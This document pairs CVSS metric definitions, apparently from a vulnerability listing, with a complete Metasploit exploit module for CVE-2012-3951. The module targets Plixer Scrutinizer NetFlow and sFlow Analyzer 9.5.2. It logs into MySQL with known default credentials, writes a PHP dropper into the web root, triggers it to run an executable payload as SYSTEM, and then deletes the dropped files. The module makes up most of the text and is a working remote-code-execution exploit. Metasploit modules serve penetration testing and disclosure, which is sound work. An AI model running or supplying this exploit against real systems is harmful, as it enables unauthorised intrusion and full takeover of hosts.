The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
'Description' => %q{
This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
By default, the software installs a default password in MySQL, and binds the
service to "0.0.0.0". This allows any remote user to login to MySQL, and then
gain arbitrary remote code execution under the context of 'SYSTEM'. Examples
of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mario Ceballos',
'Jonathan Claudius',
'Tanya Secker',
'sinn3r'
],
'References' =>
[
['CVE', '2012-3951'],
['OSVDB', '84317'],
['URL', 'http://secunia.com/advisories/50074/'],
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']),
OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']),
OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]),
OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]),
OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
], self.class)
# Both MySQL and HTTP need to use this, we'll have to register on the fly.
deregister_options('RPORT')
end
def check
tmp_rport = datastore['RPORT']
datastore['RPORT'] = datastore['HTTPPORT']
res = send_request_raw({'uri'=>target_uri.host})
datastore['RPORT'] = tmp_rport
if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def get_php_payload(fname)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
#
# I wanna be able to choose my own destination... path!
#
def mysql_upload_binary(bindata, path)
# Modify the rport so we can use MySQL
datastore['RPORT'] = datastore['MYSQLPORT']
# Login
h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
# The lib throws its own error message anyway:
# "Exploit failed [no-access]: RbMysql::AccessDeniedError"
return false if not h
tmp = mysql_get_temp_dir
p = bindata.unpack("H*")[0]
dest = tmp + path
mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
return true
end
def exe_php(php_fname)
# Modify the rport so we can use HTTP
datastore['RPORT'] = datastore['HTTPPORT']
# Request our payload
path = File.dirname("#{target_uri.path}/.")
res = send_request_raw({'uri'=>"#{path}#{php_fname}"})
return (res and res.code == 200)
end
def cleanup
datastore['RPORT'] = @original_rport
end
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
print_status("Deleting #{@php_fname}")
cli.fs.file.rm(@php_fname)
rescue ::Exception => e
print_error("Please note: #{@php_fname} is stil on disk.")
end
begin
print_status("Deleting #{@exe_fname}")
cli.fs.file.rm(@exe_fname)
rescue ::Exception => e
print_error("Please note: #{@exe_fname} is still on disk.")
end
end
def exploit
@original_rport = datastore['RPORT']
#
# Prepare our payload (naughty exe embedded in php)
#
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
p = get_php_payload(@exe_fname)
#
# Upload our payload to the html directory
#
print_status("Uploading #{p.length.to_s} bytes via MySQL...")
@php_fname = Rex::Text.rand_text_alpha(5) + '.php'
if not mysql_upload_binary(p, "../../html/#{@php_fname}")
print_error("That MySQL upload didn't work.")
return
end
#
# Execute the payload
#
print_status("Requesting #{@php_fname}...")
res = exe_php(@php_fname)
handler
end
end
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